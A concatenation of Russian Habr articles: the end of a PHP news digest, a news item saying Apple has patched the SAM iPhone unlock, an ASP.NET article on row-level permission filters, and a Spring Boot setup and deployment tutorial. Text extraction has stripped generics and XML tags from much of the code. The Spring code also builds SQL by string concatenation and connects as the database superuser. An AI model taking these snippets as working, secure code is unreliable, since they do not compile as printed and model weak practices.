public array $c = ["foo"];
public object $d;
public function \_\_construct()
{
$this->b = "foo";
}
}
$foo = new Foo();
$foo->a = 42; // EXCEPTION: property a has already been initialized
$foo->b = "bar"; // EXCEPTION: property b has already been initialized
$foo->a++; // EXCEPTION: incrementing/decrementing is forbidden
unset($foo->c); // EXCEPTION: unsetting is forbidden
$foo->c[] = "bar"; // EXCEPTION: arrays can't be modified
$var= &$this->c; // EXCEPTION: reference isn't allowed
$foo->d = new Foo(); // SUCCESS: property d hasn't been initialized before
$foo->d->foo = "foo"; // SUCCESS: objects are still mutable internally
```
У предложения неплохие шансы. Вероятно, для таких свойств будет запрещено установление значения по умолчанию, поскольку, по сути, это то же самое, что константа класса.
* [[RFC] str\_contains](https://wiki.php.net/rfc/str_contains) — Предлагается добавить функцию `str_contains(string $haystack , string $needle) :bool`, которая проверяет, содержится ли строка в другой строке вместо использования `strpos()` или `strstr()`.
* [[RFC] Object-based token\_get\_all() alternative](https://wiki.php.net/rfc/token_as_object) — Предлагается добавить альтернативу для текущей функции [`token_get_all()`](https://www.php.net/manual/ru/function.token-get-all.php), которая вместо микса строк и массивов возвращал бы массив объектов `PhpToken`.
* [[RFC] get\_debug\_type](https://wiki.php.net/rfc/get_debug_type) — Ещё одна вспомогательная функция: комбинация `gettype()` и `get_class()`.
* [[RFC] Allow explicit call-site pass-by-reference annotation](https://wiki.php.net/rfc/explicit_send_by_ref) — Обновлённый RFC от Никиты снова на обсуждении. Предлагается сделать возможным явное указание передачи аргументов по ссылке. Тем самым предупреждая разработчика о том, что переданная переменная изменится. В этот раз также предлагается добавить директиву, чтоб сделать режим опциональным.**Скрытый текст**
```
declare(require_explicit_send_by_ref=1);
function byRef(&$ref) {...}
byRef(&$var);
```
* [[Pre-RFC] Add support for «decorator» pattern](https://github.com/php/php-src/pull/5168) — Никита выложил прототип реализации паттерна «декоратор» для PHP. **Скрытый текст**
```
interface Foo {
public function method1(int $a): void;
public function method2(): int;
public function method3(string $b): string;
public function method4(): stdClass;
// ...
}
class ComposedFoo implements Foo {
private decorated Foo $inner;
public function __construct(Foo $inner) { $this->inner = $inner; }
public function method4(): stdClass {
return $DO_SOMETHING_DIFFERENT_HERE;
}
}
/*
Свойство помечено как decorated, что означает, что автоматически будут добавлены
методы переадресации для всех публичных методов Foo, если только они не будут явно
переопределены в классе. Эти методы будут иметь полные сигнатуры, поэтому они
всё равно удовлетворяют интерфейсу.
*/
```
* [[PR] Use serialize\_precision for printing floats in var\_dump()](https://github.com/php/php-src/pull/5172) — Данное изменение повлияет на то, как будут отображаться `float` числа при выводе через `var_dump()` ([0.1 + 0.2 === 0.30000000000000004](http://0.30000000000000004.com/)):**Скрытый текст**
```
// Было
$sum = 0.1 + 0.2;
var_dump($sum); // float(0.3)
var_dump($sum == 0.3); // bool(false) WTF???
// Станет
$sum = 0.1 + 0.2;
var_dump($sum); // float(0.30000000000000004)
var_dump($sum == 0.3); // bool(false) Makes sense...
```
### Инструменты
* [T-Regx/T-Regx](https://github.com/T-Regx/T-Regx) — Библиотека с удобным интерфейсом для работы с регулярными выражениями. Прислал [lex111](https://habr.com/ru/users/lex111/).
* [vstelmakh/url-highlight](https://github.com/vstelmakh/url-highlight) — Библиотека для подсветки ссылок в тексте. Умеет находить ссылки без протокола (использует список доменов первого уровня). Есть [расширение для twig](https://github.com/vstelmakh/url-highlight-twig-extension) и [symfony bundle](https://github.com/vstelmakh/url-highlight-symfony-bundle).
* [spiral/RoadRunner](https://github.com/spiral/roadrunner) — Сервер приложений для PHP на Golang. Добавлен файл-вотчер и теперь воркеры [перезагружаются автоматически](https://roadrunner.dev/docs/beep-beep-reload).
* [tightenco/overload](https://github.com/tightenco/overload) — Простая, но интересная реализация перегрузки методов через коллекцию замыканий.
* [rainbow-alex/phi](https://github.com/rainbow-alex/phi) — Альфа-версия парсера PHP на PHP. Альтернатива [nikic/PHP-Parser](https://github.com/nikic/PHP-Parser), в которой предполагается решить [пачку проблем](https://github.com/nikic/PHP-Parser/issues/344) парсера Никиты, связанных с сохранением пробелов и комментариев при модификации AST.
* [Калькулятор настроек php-fpm](https://cmorrell.com/php-fpm/)
* [ergebnis/environment-variables](https://github.com/ergebnis/environment-variables) — Абстракции для работы с переменными окружения.
### Symfony
*  [Symfony 5. Быстрый старт](https://leanpub.com/symfony5-bystryj-start) — Свежую книгу от Фабьена теперь можно купить в русском переводе. Все деньги с продаж книги идут на развитие Symfony.
* [Неделя Symfony #686 (17-23 февраля 2020)](https://symfony.com/blog/a-week-of-symfony-686-17-23-february-2020)
*  [Как организовать скины в Symfony](https://habr.com/ru/post/488030/)
### Laravel
* [vladyslavstartsev/laravel-strict-coding-standard](https://github.com/vladyslavstartsev/laravel-strict-coding-standard) — Пара дополнительных правил для PHP\_CodeSniffer для Laravel приложений.
* [thomasjohnkane/slow-query-notifier](https://github.com/thomasjohnkane/slow-query-notifier) — Отправит уведомление при обнаружении слишком медленных запросов. Вводный [пост](https://thomaskane.io/laravel-slow-query-notifier).
* [beyondcode/laravel-server-timing](https://github.com/beyondcode/laravel-server-timing) — Хелпер для добавления [Server-Timing](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Server-Timing) заголовков, которые можно потом посмотреть на вкладке Сеть в dev tools браузера.
* [nunomaduro/laravel-mojito](https://github.com/nunomaduro/laravel-mojito) — Простенький пакет для тестирования вьюшек.
* [Основы кэширования в Laravel](https://adelf.tech/2019/laravel-caching-basics).
*  Руководство по Очередям и Задачам: [Создаём простое аналитическое приложение](https://laravel.demiart.ru/jobs-and-queues-part-1-analytic-app/), [Подключения и настройки](https://laravel.demiart.ru/jobs-and-queues-part-2-connections-and-settings/), [Как запустить воркеры на продакшен-сервере](https://laravel.demiart.ru/jobs-and-queues-part-3-workers-in-production/).
### Yii
*  [Новости Yii 2020, выпуск 2](https://yiiframework.ru/news/258/novosti-yii-2020-vypusk-2) — Очень много обновлений в Yii 3.
### Async PHP
* Сергей Жук беседует с Marc Morera (автором [DriftPHP](https://github.com/driftphp))  [о DBAL и ORM в ReactPHP](https://www.youtube.com/watch?v=bekZ7cPmSuE).
* [driftphp/tiny-load-balancer](https://github.com/driftphp/tiny-load-balancer) — Крошечный лоадбалансер на ReactPHP.
*  [Асинхронный PHP](https://habr.com/ru/company/oleg-bunin/blog/487258/)
### Материалы для обучения
* [PHPUnit: Угроза безопасности?](https://thephp.cc/news/2020/02/phpunit-a-security-risk) — О том, как старые версии PHPUnit могут привести к проблемам безопасности, если vendor доступен публично.
* [В какой момент PHP вызывает \_\_destruct()?](https://dev.to/themsaid/when-does-php-call-destruct-1167)
* [О битовых масках для хранения флагов в PHP](https://stitcher.io/blog/bitwise-booleans-in-php).
*  [Чистый код на PHP](https://github.com/peter-gribanov/clean-code-php/blob/ru/README.md) — Принципы разработки ПО из книги [Clean Code](https://www.amazon.com/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882) Роберта Мартина адаптированные для PHP.
*  [Использование RabbitMQ вместе с MonsterMQ часть 1](https://habr.com/ru/post/488850/)
*  [Тест для PHP-разработчиков от Badoo](https://phpevent.badoo.com/habr) — Перед прохождением можно посмотреть [разбор задач](https://habr.com/ru/company/badoo/blog/346652/) прошлого теста.  [Оффер в Лондон за один день: как его получить и чем заняться после переезда](https://habr.com/ru/company/badoo/blog/487914/).
### Аудио/Видео
*  [Что делать с легаси. Материалы с Badoo PHP Meetup #4](https://habr.com/ru/company/badoo/blog/489362/)
*  [Что будет в PhpStorm 2020.1](https://www.youtube.com/playlist?list=PLQ176FUIyIUb7qSArPCxOkIGX-cqdfoBx) — Каждую неделю новый 5-минутный ролик.
*  [PHP для абсолютных новичков](https://www.youtube.com/watch?v=yXzWfZ4N4xU) — 5 часов видеоуроков.
*  [PHP Internals News podcast #40](https://phpinternals.news/40) — C [Никитой Поповым](https://twitter.com/nikita_ppv) о тройке принятых мелких RFC.
*  [PHP Internals News podcast #41](https://phpinternals.news/41) — Со [Steven Wade](https://twitter.com/stevenwadejr) о предложении добавить магический `__toArray()`.
*  [The Undercover ElePHPant #8](https://undercover-elephpant.com/episodes/talking-tuning-php-fpm-with-arne-blankerts) — О тюнинге php-fpm с [Arne Blankerts](https://twitter.com/arneblankerts) из [thephp.cc](https://thephp.cc/). И [блогпост](https://tideways.com/profiler/blog/an-introduction-to-php-fpm-tuning) с основными моментами.
Спасибо за внимание!
Если вы заметили ошибку или неточность — сообщите, пожалуйста, в [личку](https://habrahabr.ru/conversations/pronskiy/).
Вопросы и предложения пишите на [почту](mailto:roman@pronskiy.com) или в [твиттер](https://twitter.com/pronskiy).
Больше новостей и комментариев в Telegram-канале **[PHP Digest](https://t.me/phpdigest)**.
[Прислать ссылку](https://github.com/phpdigest/addlink/issues/1) — Попробуем через GitHub.
[Поиск ссылок по всем дайджестам](https://pronskiy.com/php-digest/)
← [Предыдущий выпуск: PHP-Дайджест № 173](https://habr.com/ru/post/487690/) | https://habr.com/ru/post/489662/ | null | ru | null |
# Метод анлока iPhone с помощью SAM просуществовал недолго
#### Уязвимость исправлена
Метод разблокировки (анлока) iPhone c помощью гениальной утилиты SAM больше не работает, так как Apple исправили уязвимость, которая позволяла оживить iPhone практически в независимости от версии baseband и установленной iOS, сообщил в Твиттере Sam Bingner, с сайта которого устанавливался репозиторий для инсталяции одноимённой утилиты.
Хорошая новость состоит в том, что уже активированные телефоны будут работать (надеюсь никто не поленился сделать бэкап каталога `/var/root/Library/Lockdown`).
#### Анлок аппаратов AT&T
Судя по многочисленным сообщениям на различных форумах [метод официального анлока](http://habrahabr.ru/post/141795/) телефона путем написания в саппорт AT&T (только для iPhone этого оператора) тоже «перестает» работать: простая отправка IMEI и номера аккаунта AT&T больше не действует на сотрудников американского оператора — в ответ приходят отказы различной мотивировки, особо настойчивым предлагается предоставить на свой девайс чек покупки на полную стоимость.
Всё хорошее когда-нибудь обязательно заканчивается. | https://habr.com/ru/post/143256/ | null | ru | null |
# Доступ к данным в многопользовательских приложениях
 Вопрос ограничения доступа к данным встает при разработке многопользовательских систем почти всегда. Основные сценарии следующие:
1. ограничение доступа к данным для пользователей не прошедших аутентификацию
2. ограничение доступа к данным для аутентифицированных, но не обладающих необходимыми привелегиями пользователей
3. предотвращение несанкционированного доступа с помощью прямых обращений к API
4. **фильтрация данных в поисковых запросах и списковых элементах UI (таблицы, списки)**
5. **предотвращение изменения данных, принадлежащих одному пользователю другими пользователями**
Сценарии 1-3 хорошо описаны и обычно решаются с помощью встроенных средств фреймворков, например [role-based](https://docs.microsoft.com/ru-ru/aspnet/core/security/authorization/roles?view=aspnetcore-2.1) или [claim-based](https://docs.microsoft.com/ru-ru/aspnet/core/security/authorization/claims?view=aspnetcore-2.1) авторизации. А вот ситуации, когда авторизованный пользователь может по прямому url получить доступ к данным «соседа» или совершить действие в его аккаунте случаются сплошь и рядом. Происходит это чаще всего из-за того что программист забывает добавить необходимую проверку. Можно понадеяться на код-ревью, а можно предотвратить такие ситуации применив глобальные правила фильтрации данных. О них и пойдет речь в статье.
### Списки и таблицы
Типовой контроллер для получения данных в ASP.NET MVC может выглядеть [как-то так](https://docs.microsoft.com/en-us/aspnet/mvc/overview/getting-started/getting-started-with-ef-using-mvc/implementing-basic-crud-functionality-with-the-entity-framework-in-asp-net-mvc-application):
```
[HttpGet]
public virtual IActionResult Get([FromQuery]T parameter)
{
var total = _dbContext
.Set()
.Where(/\* some business rules \*/)
.Count();
var items= \_dbContext
.Set()
.Where(/\* some business rules \*/)
.ProjectTo()
.Skip(parameter.Skip)
.Take(parameter.Take)
.ToList();
return Ok(new {items, total});
}
```
В данном случае вся ответственность за фильтрацию данных ложится только на программиста. Вспомнит ли он о том, что необходимо добавить условие в `Where` или нет?
Можно решить проблему с помощю [глобальных фильтров](https://docs.microsoft.com/ru-ru/ef/core/querying/filters). Однако, для ограничения доступа нам потребуется информация о текущем пользователе, а значит конструирование `DbContext` придется усложнить, чтобы проинициализировать конкретные поля.
Если правил много, то реализации `DbContext` неизбежно придется узнать «слишком много», что приведет к нарушению [принципа единственной ответственности](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B8%D0%BD%D1%86%D0%B8%D0%BF_%D0%B5%D0%B4%D0%B8%D0%BD%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D0%BE%D0%B9_%D0%BE%D1%82%D0%B2%D0%B5%D1%82%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D0%BE%D1%81%D1%82%D0%B8).
### Слоеная архитектура
Проблемы с доступом к данным и копипастой возникли, потому что в примере мы проигнорировали разделение на слои и из контроллеров сразу потянулись к слою доступа к данным, минуя слой бизнес-логики. Такой подход даже окрестили «[толстыми тупыми уродливыми контроллерами](https://habr.com/post/175465/)». В этой статье я не хочу касаться вопросов, связанных с репозиториями, сервисами и структурированием бизнес-логики. Глобальные фильтры хорошо справляются с этой задачей, нужно только применить их к абстракции из другого слоя.
### Добавляем абстракцию
В .NET для доступа к данным уже есть `IQueryable`. Заменим прямой доступ к `DbContext` на доступ вот к такому провайдеру:
```
public interface IQueryableProvider
{
IQueryable Query() where T: class;
IQueryable Query(Type type);
}
```
А для доступа к данным сделаем вот такой фильтр:
```
public interface IPermissionFilter
{
IQueryable GetPermitted(IQueryable queryable);
}
```
Реализуем провайдер таким образом, чтобы он искал все объявленные фильтры и автоматически применял их:
```
public class QueryableProvider: IQueryableProvider
{
// ищем фильтры и запоминаем их типы
private static Type[] Filters = typeof(PermissionFilter<>)
.Assembly
.GetTypes()
.Where(x => x.GetInterfaces().Any(y =>
y.IsGenericType && y.GetGenericTypeDefinition()
== typeof(IPermissionFilter<>)))
.ToArray();
private readonly DbContext _dbContext;
private readonly IIdentity _identity;
public QueryableProvider(DbContext dbContext, IIdentity identity)
{
_dbContext = dbContext;
_identity = identity;
}
private static MethodInfo QueryMethod = typeof(QueryableProvider)
.GetMethods()
.First(x => x.Name == "Query" && x.IsGenericMethod);
private IQueryable Filter(IQueryable queryable)
=> Filters
// ищем фильтры необходимого типа
.Where(x => x.GetGenericArguments().First() == typeof(T))
// создаем все фильтры подходящего типа и применяем к Queryable
.Aggregate(queryable,
(c, n) => ((dynamic)Activator.CreateInstance(n,
\_dbContext, \_identity)).GetPermitted(queryable));
public IQueryable Query() where T : class
=> Filter(\_dbContext.Set());
// из EF Core убрали Set(Type type), приходится писать самому :(
public IQueryable Query(Type type)
=> (IQueryable)QueryMethod
.MakeGenericMethod(type)
.Invoke(\_dbContext, new object[]{});
}
```
Код получения и создания фильтров в примере не оптимален. Вместо `Activator.CreateInstance` а лучше использовать [скомпилированные Expression Trees](https://vagifabilov.wordpress.com/2010/04/02/dont-use-activator-createinstance-or-constructorinfo-invoke-use-compiled-lambda-expressions/). В некоторых IOC-контейнерах реализованна поддержка [регистрации открытых generic'ов](https://simpleinjector.readthedocs.io/en/latest/advanced.html#registration-of-open-generic-types). Я оставлю вопросы оптимизации за рамками этой статьи.
### Реализуем фильтры
Реализация фильтра может выглядеть, например, так:
```
public class EntityPermissionFilter: PermissionFilter
{
public EntityPermissionFilter(DbContext dbContext, IIdentity identity)
: base(dbContext, identity)
{
}
public override IQueryable GetPermitted(
IQueryable queryable)
{
return DbContext
.Set()
.WhereIf(User.OrganizationType == OrganizationType.Client,
x => x.Manager.OrganizationId == User.OrganizationId)
.WhereIf(User.OrganizationType == OrganizationType.StaffingAgency,
x => x.Partners
.Select(y => y.OrganizationId)
.Contains(User.OrganizationId));
}
}
```
### Исправляем код контроллера
```
[HttpGet]
public virtual IActionResult Get([FromQuery]T parameter)
{
var total = QueryableProvider
.Query()
.Where(/\* some business rules \*/)
.Count();
var items = QueryableProvider
.Query()
.Where(/\* some business rules \*/)
.ProjectTo()
.Skip(parameter.Skip)
.Take(parameter.Take)
.ToList();
return Ok(new {items, total});
}
```
Изменений совсем не много. Осталось запретить прямой доступ к `DbContext` из контроллеров и если фильтры правильно написаны, то вопрос доступа к данным можно считать закрытым. Фильтры достаточно маленькие, поэтому покрыть их тестами не составит труда. Кроме того эти-же самые фильтры можно использовать, чтобы написать код авторизации, предотвращающий несанкционированный доступ к «чужим» данным. Этот вопрос я оставлю для следующей статьи. | https://habr.com/ru/post/414897/ | null | ru | null |
# Spring Boot: от начала до продакшена
В данной статье я попробую расписать все шаги, которые потребуются для создания небольшого проекта на Spring Boot и развертывания его на боевом сервере.
Не будем тянуть долгими прелюдиями о философии java и spring'а, и сразу приступим к делу.
Для начала нам необходимо создать каркас приложения, внедрив туда весь необходимый зоопарк технологий(как минимум Spring, JPA, JDBC). До появления spring boot нужно было потратить на это немало времени, если конечно у вас не было рабочей заготовки в закромах кода. И именно сложность создания подобного каркаса, как мне кажется, останавливает многих от разработки небольших веб-проектов на java. Конечно, когда-то был хромой spring roo, который мог создать подобный каркас в ущерб производительности(привет аспектам), но даже с ним количество и сложность конфигурационных файлов заставляли долго медитировать над ними неподготовленного разработчика. Однако теперь с приходом Boot и Spring 4 жизнь стала немного проще и количество конфигурационных файлов заметно уменьшилось.
Итак, каркас, да.
Если у вас есть Intellij Idea 14.1, то проблем с каркасом возникнуть вообще не должно, можно все сделать через специальный мастер создания проектов(File-New-Project...-Spring Initializr). Далее останется только указать названия проектов, выбрать интересующие нас технологии(Web, JDBC, JPA, PostgreSQL) и создать проект.
Если же у вас нет данной IDE, то скачиваем [Spring Boot CLI](http://repo.spring.io/release/org/springframework/boot/spring-boot-cli/1.2.3.RELEASE/spring-boot-cli-1.2.3.RELEASE-bin.zip), следуем инструкции в INSTALL.txt. Нужно задать системную переменную SPRING\_HOME(путь к папке со Spring Boot, не к папке bin!) и добавить путь к SPRING\_HOME/bin в системную переменную PATH на windows.
Итак, консоль спринга настроили, теперь самое время создать проект. Сделать это можно следующей командой:
```
spring init --dependencies=web,data-jpa,jdbc yourapp
```
**UPDATE**
Кроме того, как написали в комментариях, существует еще веб-конструктор: [start.spring.io](https://start.spring.io/)
Далее импортируем получившийся каркас в любимую IDE и начинаем его модифицировать под наши нужды.
Для начала добавим в каталог src/main папку webapps. Все веб-ресурсы мы будем создавать в ней, а не в папке resources, как хочет того спринг. Дело в том, что если мы будем создавать файлы в папке resources, то тогда мы лишимся возможности видеть изменения, сделанные в наших веб-ресурсах, без перезагрузки сервера. А это может быть неприятно, когда ради того, чтобы посмотреть изменившийся текст на веб-странице приходится перезапускать веб-сервер.
Теперь в папке webapps создаем файл index.html и папки css, js, font, images, в которые будем класть соответствующие ресурсы.
Для примера сделаем самый простой каркас index.html:
```
Yourapp
HELLO WORLD
============
```
Изменим файл pom.xml
Должно получиться что-то подобное:
```
xml version="1.0" encoding="UTF-8"?
4.0.0
com.yourcompany
yourapp
0.0.1-SNAPSHOT
jar
YourApp
org.springframework.boot
spring-boot-starter-parent
1.2.3.RELEASE
UTF-8
com.yourcompany.Application
1.8
org.springframework.boot
spring-boot-starter-web
org.springframework.boot
spring-boot-starter-data-jpa
org.springframework.boot
spring-boot-starter-jdbc
com.zaxxer
HikariCP
org.postgresql
postgresql
9.4-1201-jdbc41
runtime
org.springframework.boot
spring-boot-starter-test
test
org.springframework.boot
spring-boot-maven-plugin
maven-resources-plugin
2.6
copy-resources
validate
copy-resources
${basedir}/target/classes/static
src/main/webapp
true
```
Из pom-файла мы можем увидеть следующее:
Мы используем java 8(самое время ее попробовать). Наш класс приложения называется com.yourcompany.Application(не забудьте переименовать стандартно сгенерированный класс, который может называться к примеру DemoApplication).
Мы используем postgresql 9.4(тоже неплохо бы установить его локально на свою машину). Connection pool для взаимодействия с базой данных мы берем самый модный и производительный (HikariCP). Кроме того, мы используем специальный плагин, который, когда мы будем генерировать итоговый jar'ник, перенесет все наши данные из webapp в resources/static, как того хочет spring boot. В противном случае вы не сможете увидеть все те веб-страницы, что создадите в папке webapps, когда запустите jar-ник.
Добавим пакет config и создадим в нем класс JpaConfig:
```
@Configuration
@EnableTransactionManagement
@EnableJpaRepositories(basePackageClasses = Application.class)
public class JpaConfig implements TransactionManagementConfigurer {
@Value("${dataSource.driverClassName}")
private String driver;
@Value("${dataSource.url}")
private String url;
@Value("${dataSource.username}")
private String username;
@Value("${dataSource.password}")
private String password;
@Value("${hibernate.dialect}")
private String dialect;
@Value("${hibernate.hbm2ddl.auto}")
private String hbm2ddlAuto;
@Bean
public DataSource configureDataSource() {
HikariConfig config = new HikariConfig();
config.setDriverClassName(driver);
config.setJdbcUrl(url);
config.setUsername(username);
config.setPassword(password);
return new HikariDataSource(config);
}
@Bean
public LocalContainerEntityManagerFactoryBean configureEntityManagerFactory() {
LocalContainerEntityManagerFactoryBean entityManagerFactoryBean = new LocalContainerEntityManagerFactoryBean();
entityManagerFactoryBean.setDataSource(configureDataSource());
entityManagerFactoryBean.setPackagesToScan("com.yourcompany");
entityManagerFactoryBean.setJpaVendorAdapter(new HibernateJpaVendorAdapter());
Properties jpaProperties = new Properties();
jpaProperties.put(org.hibernate.cfg.Environment.DIALECT, dialect);
jpaProperties.put(org.hibernate.cfg.Environment.HBM2DDL_AUTO, hbm2ddlAuto);
entityManagerFactoryBean.setJpaProperties(jpaProperties);
return entityManagerFactoryBean;
}
@Bean
public PlatformTransactionManager annotationDrivenTransactionManager() {
return new JpaTransactionManager();
}
}
```
Кроме того, добавим в файл application.properties следующие строчки:
```
dataSource.driverClassName=org.postgresql.Driver
dataSource.url=jdbc:postgresql://:5432/yourapp\_data
dataSource.username=postgres
dataSource.password=
hibernate.dialect=org.hibernate.dialect.PostgreSQLDialect
hibernate.hbm2ddl.auto=update
```
И наконец в Application.java меняем строку инициализации на следующую:
```
SpringApplication.run(new Class[] {Application.class, JpaConfig.class}, args);
```
Тем самым мы настроили подключение к СУБД PostgreSQL.
Не забываем создать саму базу данных и простенькую таблицу в ней. Сделать это удобнее всего через PgAdmin.
Создав в ней пустую базу yourapp\_data, выполняем скрипт создания таблицы:
```
CREATE TABLE yourapp_data
(
data_id uuid NOT NULL,
data_description character varying(100) NOT NULL,
CONSTRAINT yourapp_data_pk PRIMARY KEY (data_id)
)
WITH (
OIDS=FALSE
);
ALTER TABLE yourapp_data
OWNER TO postgres;
```
Теперь настало время немного заняться начинкой нашего проекта. А именно добавить какую-нибудь сущность БД и научиться с ней работать, получая с клиента данные для ее формирования и отправляя клиенту же данные об уже созданных сущностях.
Создаем пакеты controller, entity, repository, service, utils.
В пакете entity создаем интерфейс:
```
public interface DomainObject extends Serializable {
}
```
и сущность:
```
public class Data implements DomainObject {
private UUID id;
private String description;
public Data(UUID id, String description) {
this.id = id;
this.description = description;
}
public UUID getId() {
return id;
}
public void setId(UUID id) {
this.id = id;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
}
```
Аннотации JPA и Hibernate в данном примере использовать не будем, так как эти технологии сильно замедляют работу(запрос может выполняться в 10 раз медленнее, чем на чистом jdbc), а так как у нас нет сильно сложных сущностей, для которых реально может потребоваться ORM, то воспользуемся обычным jdbcTemplate.
Создаем интерфейс репозитория:
```
public interface DataRepository {
void persist(V object);
void delete(V object);
Set getRandomData();
}
```
И его реализацию:
```
@org.springframework.stereotype.Repository("dataRespitory")
public class DataRepositoryImpl implements DataRepository {
@Autowired
protected JdbcOperations jdbcOperations;
@Override
public void persist(Data object) {
Object[] params = new Object[] { object.getId(), object.getDescription() };
int[] types = new int[] { Types.VARCHAR, Types.VARCHAR };
jdbcOperations.update("INSERT INTO yourapp\_data(\n" +
" data\_id, data\_description)\n" +
" VALUES (cast(? as UUID), ?);", params, types);
}
@Override
public void delete(Data object) {
jdbcOperations.update("DELETE FROM yourapp\_data\n" +
" WHERE data\_id = '" + object.getId().toString() + "';");
}
@Override
public Set getRandomData() {
Set result = new HashSet<>();
SqlRowSet rowSet = jdbcOperations.queryForRowSet("SELECT data\_description FROM yourapp\_data p ORDER BY RANDOM() LIMIT 50;");
while (rowSet.next()) {
result.add(rowSet.getString("data\_description"));
}
return result;
}
}
```
Вместо уже упомянутого jdbcTemplate, мы, как видите, используем JdbcOperations, который является его интерфейсом. Нам приходится использовать везде интерфейсы, отделяя их от реализации, так как, во-первых это стильно, модно, молодежно, а во-вторых, spring в нашем случае использует стандартный jdk'шный Proxy для наших объектов, поэтому напрямую инжектить реализацию не получиться, пока мы не введем полноценные аспекты и AspectJ compile-time weaving. В нашем случае этого и не требуется, чтобы не перегружать приложение.
Осталось уже немного. Создаем наш сервис(мы же хорошие разработчики и должны отделить бизнес-логику от логики работы с СУБД?).
Интерфейс:
```
public interface DataService {
public boolean persist(String problem);
public Set getRandomData();
}
```
Реализация:
```
@Service("dataService")
public class DataServiceImpl implements DataService {
private static final Logger LOG = LoggerFactory.getLogger(DataServiceImpl.class);
@Autowired
@Qualifier("dataRespitory")
private DataRepository dataRepository;
@Override
public boolean persist(String problem) {
try {
dataRepository.persist(new Data(UUID.randomUUID(), problem));
return true;
} catch (Exception e) {
LOG.error("ERROR SAVING DATA: " + e.getMessage(), e);
return false;
}
}
@Override
public Set getRandomData() {
return dataRepository.getRandomData();
}
}
```
Отлично. Теперь создаем пару вспомогательных классов, необходимых для реализации контроллера:
```
public class RestException extends Exception {
public RestException() {
}
public RestException(String message) {
super(message);
}
public RestException(String message, Throwable cause) {
super(message, cause);
}
public RestException(Throwable cause) {
super(cause);
}
public RestException(String message, Throwable cause, boolean enableSuppression, boolean writableStackTrace) {
super(message, cause, enableSuppression, writableStackTrace);
}
}
```
Это наша реализация Exception'а. Может пригодиться в будущем, хотя и не обязательна, но на нее завязан следующий класс:
```
@Controller
public class ExceptionHandlerController {
private static final Logger LOG = Logger.getLogger(ExceptionHandlerController.class);
@ExceptionHandler(RestException.class)
public @ResponseBody
String handleException(RestException e) {
LOG.error("Ошибка: " + e.getMessage(), e);
return "Ошибка: " + e.getMessage();
}
}
```
Если мы словили такую ошибку в нашем контроллере, то она будет обработана дополнительно в этом методе.
Наконец напишем небольшой классик, который будет формировать структуру данных для передачи на клиент:
```
public class Ajax {
public static Map successResponse(Object object) {
Map response = new HashMap();
response.put("result", "success");
response.put("data", object);
return response;
}
public static Map emptyResponse() {
Map response = new HashMap();
response.put("result", "success");
return response;
}
public static Map errorResponse(String errorMessage) {
Map response = new HashMap();
response.put("result", "error");
response.put("message", errorMessage);
return response;
}
}
```
Все, со вспомогательными классами закончили. Осталось написать наш контроллер. Он будет простым, как пробка:
```
@Controller
public class DataController extends ExceptionHandlerController {
private static final Logger LOG = Logger.getLogger(DataController.class);
@Autowired
@Qualifier("dataService")
private DataService dataService;
@RequestMapping(value = "/persist", method = RequestMethod.POST)
public @ResponseBody
Map persist(@RequestParam("data") String data) throws RestException {
try {
if (data == null || data.equals("")) {
return Ajax.emptyResponse();
}
dataService.persist(data);
return Ajax.emptyResponse();
} catch (Exception e) {
throw new RestException(e);
}
}
@RequestMapping(value = "/getRandomData", method = RequestMethod.GET)
public @ResponseBody
Map getRandomData() throws RestException {
try {
Set result = dataService.getRandomData();
return Ajax.successResponse(result);
} catch (Exception e) {
throw new RestException(e);
}
}
}
```
В нем два метода — сохранить полученные данные и выдать порцию случайных данных на клиент. Контроллер унаследован от созданного нами ранее ExceptionHandlerController. Обработка исключений написана только как шаблон и нуждается в соответствующей доработки под себя.
Итак, основная часть серверного кода написана, осталось проверить его работу на клиенте. Для этого нужно доработать наш файл index.html и заодно добавить библиотеку jquery в каталог js.
index.html:
```
YourApp
HELLO WORLD
============
[POST](#)
[GET](#)
$('#get').click(function () {
$.ajax({
type: "GET",
cache: false,
url: '/getRandomData',
data: "",
success: function (response) {
var html = "";
$.each(response.data, function (i) {
html = html + response.data[i] + "<br/>";
});
$('#container').html(html);
}
});
});
$('#post').click(function () {
if (!$("#data").val()) {
alert("Enter your data!");
} else {
$.ajax({
type: "POST",
cache: false,
url: '/persist',
data: {
'data': $("#data").val()
},
success: function (response) {
$('#get').click();
}
});
}
});
```
Да, UI получился не бог весть каким красивым, но зато с его помощью мы можем проверить работу приложения.
Запустим наш проект. В Intellij Idea это можно сделать через специальную конфигурацию запуска(Spring Boot).
Если все сделано верно, то по адресу localhost:8080 вы сможете увидеть заголовок Hello World, строку ввода и две кнопки. Попробуйте ввести что-нибудь в строку ввода и нажать на кнопку POST. Если после этого вы увидите аналогичный текст ниже поля ввода, то все работает как надо. Теперь останется модифицировать проект под свои нужды, добавить модный UI(например [materializecss.com](http://materializecss.com/)) и творить разумное, доброе, вечное.
Однако рано или поздно вы сотворите желаемое и встанет вопрос о том, как донести ваше детище в массы. Об этом будет вторая часть статьи.
Начнем с малого, но важного.
Даже если проект небольшой, все равно для него потребуется свой домен. Если вы просто обкатываете какую-нибудь идею и не хотите тратить бешеные деньги для регистрации домена на том же godaddy, то можете воспользоваться бесплатной альтернативой: freenom.com
Этот сервис позволит бесплатно зарегистрировать домен в зонах .tk, .ml, .ga, .cf, .gq
Да, не самые лучшие зоны, но:
Далее займемся сервером, где все это будет крутиться. Так как проект у нас небольшой, то и сервер нам сгодится небольшой. В идеале хватит VPS. Достать его можно в разных местах, например [www.digitalocean.com](https://www.digitalocean.com/)
Итак, регистрируемся, создаем самый простой дроплет и ставим на него ubuntu (в моем случае это ubuntu 12.04, дальнейшие инструкции буду описывать для этой системы, но на остальных будет примерно то же)
Отлично, у нас есть сервер, пора залить на него наш проект.
Для начала собираем проект maven'ом. Сделать это можно через IDE или же на худой конец зайдя в корневую директорию проекта и введя команду mvn clean install(путь к мавену должен быть прописан в системой переменной path на Windows). После выполнения команды собранный jar'ник помещается в локальный репозиторий (по умолчанию именуемый .m2), откуда его можно стянуть для отправки на сервер.
Для передачи файла на сервер используем [WinSCP](http://winscp.net/eng/download.php), если вы работаете под Windows.
